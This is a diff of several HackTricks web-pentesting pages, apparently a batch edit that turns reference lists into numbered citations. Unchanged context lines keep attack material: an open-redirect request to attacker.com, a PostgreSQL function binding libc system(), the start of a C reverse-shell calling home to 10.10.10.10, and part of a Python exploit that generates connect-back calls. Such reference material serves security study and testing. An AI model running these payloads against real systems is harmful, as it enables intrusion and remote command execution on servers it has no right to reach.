References: numbered citations (batch 5)

src/pentesting-web/open-redirect.md

@@ -280,7 +280,7 @@ rg -n "location\.(assign|replace|href)|window\.open|history\.(pushState|replaceS
 
 ### Fragment smuggling + client-side traversal chain (Grafana-style bypass)
 
-- **Server-side gap (Go `url.Parse` + raw redirect)**: validators that only inspect `URL.Path` and ignore `URL.Fragment` can be tricked by placing the external host after `#`. If the handler later builds `Location` from the *unsanitized* string, fragments leak back into the redirect target. Example against `/user/auth-tokens/rotate`:
+- **Server-side gap (Go `url.Parse` + raw redirect)**: validators that only inspect `URL.Path` and ignore `URL.Fragment` can be tricked by placing the external host after `#`. If the handler later builds `Location` from the *unsanitized* string, fragments leak back into the redirect target.<sup>[[9]](#references)</sup> Example against `/user/auth-tokens/rotate`:
   - Request: `GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1`
   - Parsing sees `Path=/` and `Fragment=/..//\//attacker.com`, so regex + `path.Clean()` approve `/`, but the response emits `Location: /\//attacker.com`, acting as an open redirect.
 - **Client-side gap (validate decoded/cleaned, return original)**: SPA helpers that fully decode a path (including double-encoded `?`), strip the query for validation, but then return the *original* string let encoded `../` survive. Browser decoding later turns it into a traversal to any same-origin endpoint (e.g., the redirect gadget). Payload pattern:
@@ -323,13 +323,13 @@ cat list_of_urls.txt | openredirex -p payloads.txt -k FUZZ -c 50
 
 ## References
 
-- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
-- [https://securityblog.omegapoint.se/en/writeup-authentik-cve-2024-52289/](https://securityblog.omegapoint.se/en/writeup-authentik-cve-2024-52289/)
-- In https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect you can find fuzzing lists.
-- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
-- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
-- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
-- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
-- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX
-- [Grafana CVE-2025-6023 redirect + traversal bypass chain](https://blog.ethiack.com/blog/grafana-cve-2025-6023-bypass-a-technical-deep-dive)
+- [1] [New crazy payloads in the URL validation bypass cheat sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
+- [2] [Writeup: Authentik CVE-2024-52289](https://securityblog.omegapoint.se/en/writeup-authentik-cve-2024-52289/)
+- [3] [PayloadsAllTheThings - Open Redirect fuzzing lists](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect)
+- [4] [Open Redirect cheatsheet (pentester.land)](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
+- [5] [Open-Redirect-Payloads (cujanovic)](https://github.com/cujanovic/Open-Redirect-Payloads)
+- [6] [Open Redirects: bypassing CSRF validations simplified](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
+- [7] [PortSwigger Web Security Academy - DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection)
+- [8] [OpenRedireX - A fuzzer for detecting open redirect vulnerabilities](https://github.com/devanshbatham/OpenRedireX)
+- [9] [Grafana CVE-2025-6023 redirect + traversal bypass chain](https://blog.ethiack.com/blog/grafana-cve-2025-6023-bypass-a-technical-deep-dive)
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/orm-injection.md

@@ -4,7 +4,7 @@
 
 ## Django ORM (Python)
 
-In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) is explained how it's possible to make a Django ORM vulnerable by using for example a code like:
+In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) is explained how it's possible to make a Django ORM vulnerable by using for example a code like:<sup>[[1]](#references)</sup>
 
 <pre class="language-python"><code class="lang-python">class ArticleView(APIView):
     """
@@ -97,7 +97,7 @@ From te same post regarding this vector:
 
 ## Beego ORM (Go) & Harbor Filter Oracles
 
-Beego mirrors Django’s `field__operator` DSL, so any handler that lets users control the first argument to `QuerySeter.Filter()` exposes the entire graph of relations:
+Beego mirrors Django’s `field__operator` DSL, so any handler that lets users control the first argument to `QuerySeter.Filter()` exposes the entire graph of relations:<sup>[[3]](#references)</sup>
 
 ```go
 qs := o.QueryTable("articles")
@@ -127,7 +127,7 @@ v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match build
 
 ## Prisma ORM (NodeJS)
 
-The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
+The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).<sup>[[2]](#references)</sup>
 
 - **Full find contro**l:
 
@@ -355,7 +355,7 @@ Look for flows where:
 
 ## Strapi Content API `where` smuggling (NodeJS)
 
-Strapi's public Content API is a good example of an **ORM/query-builder injection without direct SQL injection**. In vulnerable `@strapi/strapi` versions **4.0.0 through 5.36.1**, the Content API validated/sanitized documented keys such as `filters`, `sort`, `fields`, and `populate`, but **ignored unknown top-level keys** instead of rejecting them. Later, the query transformer preserved those unknown keys via `...rest` and forwarded them into the internal database query builder.
+Strapi's public Content API is a good example of an **ORM/query-builder injection without direct SQL injection**. In vulnerable `@strapi/strapi` versions **4.0.0 through 5.36.1**, the Content API validated/sanitized documented keys such as `filters`, `sort`, `fields`, and `populate`, but **ignored unknown top-level keys** instead of rejecting them. Later, the query transformer preserved those unknown keys via `...rest` and forwarded them into the internal database query builder.<sup>[[5]](#references)[[6]](#references)</sup>
 
 That means a public request can smuggle a real `where` tree even though `where` is **not** a documented Content API parameter:
 
@@ -449,7 +449,7 @@ Libraries and middleware that translate user strings into ORM operators (e.g., E
 
 ## **Ransack (Ruby)**
 
-These tricks where [**found in this post**](https://positive.security/blog/ransack-data-exfiltration)**.**
+These tricks where [**found in this post**](https://positive.security/blog/ransack-data-exfiltration)**.**<sup>[[4]](#references)</sup>
 
 > [!TIP]
 > **Note that Ransack 4.0.0.0 now enforce the use of explicit allow list for searchable attributes and associations.**
@@ -485,12 +485,12 @@ Calibrating payloads to the real collation avoids wasted probes and significantl
 
 ## References
 
-- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
-- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
-- [https://www.elttam.com/blog/leaking-more-than-you-joined-for/](https://www.elttam.com/blog/leaking-more-than-you-joined-for/)
-- [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
-- [https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi](https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi)
-- [https://github.com/advisories/GHSA-rjg2-95x7-8qmx](https://github.com/advisories/GHSA-rjg2-95x7-8qmx)
+- [1] [Plormbing your Django ORM](https://www.elttam.com/blog/plormbing-your-django-orm/)
+- [2] [Plorming your Prisma ORM](https://www.elttam.com/blog/plorming-your-primsa-orm/)
+- [3] [Leaking more than you joined for (Beego/Harbor ORM leaks)](https://www.elttam.com/blog/leaking-more-than-you-joined-for/)
+- [4] [Ransack data exfiltration](https://positive.security/blog/ransack-data-exfiltration)
+- [5] [CVE-2026-27886: Unauthenticated Boolean Oracle Exfiltration of Administrator Secrets in Strapi](https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi)
+- [6] [GHSA-rjg2-95x7-8qmx: Strapi Content API where-clause injection advisory](https://github.com/advisories/GHSA-rjg2-95x7-8qmx)
 
 {{#include ../banners/hacktricks-training.md}}
 

src/pentesting-web/sql-injection/cypher-injection-neo4j.md

@@ -2,11 +2,16 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Check the following blogs:
+Check the following blogs:<sup>[[1]](#references)[[2]](#references)</sup>
 
 - [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
 - [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
 
+## References
+
+- [1] [Neo4jection: Secrets, Data, and Cloud Exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
+- [2] [The Most Underrated Injection of All Time — Cypher Injection](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
+
 {{#include ../../banners/hacktricks-training.md}}
 
 

src/pentesting-web/sql-injection/oracle-injection.md

@@ -6,7 +6,7 @@
 
 ## SSRF
 
-Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.
+Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.<sup>[[3]](#references)</sup>
 
 Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), pointed me to [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker.
 
@@ -181,7 +181,7 @@ SELECT UTL_INADDR.get_host_address(
 
 ### DBMS_CLOUD.SEND_REQUEST – full HTTP client on Autonomous/23c
 
-Recent cloud-centric editions (Autonomous Database, 21c/23c, 23ai) ship with `DBMS_CLOUD`.  The `SEND_REQUEST` function acts as a general-purpose HTTP client that supports custom verbs, headers, TLS and large bodies, making it far more powerful than the classical `UTL_HTTP`.
+Recent cloud-centric editions (Autonomous Database, 21c/23c, 23ai) ship with `DBMS_CLOUD`.  The `SEND_REQUEST` function acts as a general-purpose HTTP client that supports custom verbs, headers, TLS and large bodies, making it far more powerful than the classical `UTL_HTTP`.<sup>[[1]](#references)</sup>
 
 ```sql
 -- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
@@ -216,7 +216,7 @@ Because `SEND_REQUEST` allows arbitrary target URIs it can be abused via SQLi fo
 
 ### Automating the attack surface with **ODAT**
 
-[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) has kept pace with modern releases (tested up to 19c, 5.1.1 – Apr-2022).  The `–utl_http`, `–utl_tcp`, `–httpuritype` and newer `–dbms_cloud` modules automatically:
+[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) has kept pace with modern releases (tested up to 19c, 5.1.1 – Apr-2022).<sup>[[2]](#references)</sup>  The `–utl_http`, `–utl_tcp`, `–httpuritype` and newer `–dbms_cloud` modules automatically:
 * Detect usable callout packages/ACL grants.
 * Trigger DNS & HTTP callbacks for blind extraction.
 * Generate ready-to-copy SQL payloads for Burp/SQLMap.
@@ -248,7 +248,8 @@ WHERE  object_type = 'PROCEDURE'
 
 ## References
 
-* Oracle Docs – `DBMS_CLOUD.SEND_REQUEST` package description and examples. 
-* quentinhardy/odat – Oracle Database Attacking Tool (latest release 5.1.1, Apr-2022). 
+- [1] [Oracle Docs – DBMS_CLOUD Subprograms and REST APIs (SEND_REQUEST)](https://docs.oracle.com/en-us/iaas/autonomous-database-serverless/doc/dbms-cloud-subprograms.html)
+- [2] [quentinhardy/odat – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat)
+- [3] [Using SQL injection to perform SSRF/XSPA attacks (ibreak.software, Wayback Machine copy)](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md

@@ -14,7 +14,7 @@ Also, keep in mind that **if you don't know how to** [**upload files to the vict
 
 **For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
 
-The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
+The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).<sup>[[1]](#references)</sup>
 
 ```sql
 CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
@@ -87,7 +87,7 @@ This error is explained in the [PostgreSQL documentation](https://www.postgresql
 > `PG_MODULE_MAGIC;`\
 > `#endif`
 
-Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.
+Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.<sup>[[1]](#references)</sup>
 
 #### Compile the library
 
@@ -195,7 +195,7 @@ SELECT remote_exec('calc.exe', 2);
 DROP FUNCTION remote_exec(text, integer);
 ```
 
-In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:
+In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:<sup>[[3]](#references)</sup>
 
 ```c
 #define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
@@ -289,7 +289,7 @@ In the **latest versions** of PostgreSQL, restrictions have been imposed where t
 
 Despite these restrictions, it's possible for an authenticated database `superuser` to **write binary files** to the filesystem using "large objects." This capability extends to writing within the `C:\Program Files\PostgreSQL\11\data` directory, which is essential for database operations like updating or creating tables.
 
-A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.
+A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.<sup>[[4]](#references)</sup>
 
 #### Attack flow
 
@@ -311,7 +311,7 @@ _Note that you don't need to append the `.dll` extension as the create function
 
 For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
 In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\
-In the same page this **exploit to automate** this technique was given:
+In the same page this **exploit to automate** this technique was given:<sup>[[4]](#references)</sup>
 
 ```python
 #!/usr/bin/env python3
@@ -353,7 +353,9 @@ print("    drop function connect_back(text, integer);")
 
 ## References
 
-- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
-- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
+- [1] [PostgreSQL 9.x Remote Command Execution](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
+- [2] [Having Fun With PostgreSQL](https://www.exploit-db.com/papers/13084)
+- [3] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)
+- [4] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)
 
 {{#include ../../../banners/hacktricks-training.md}}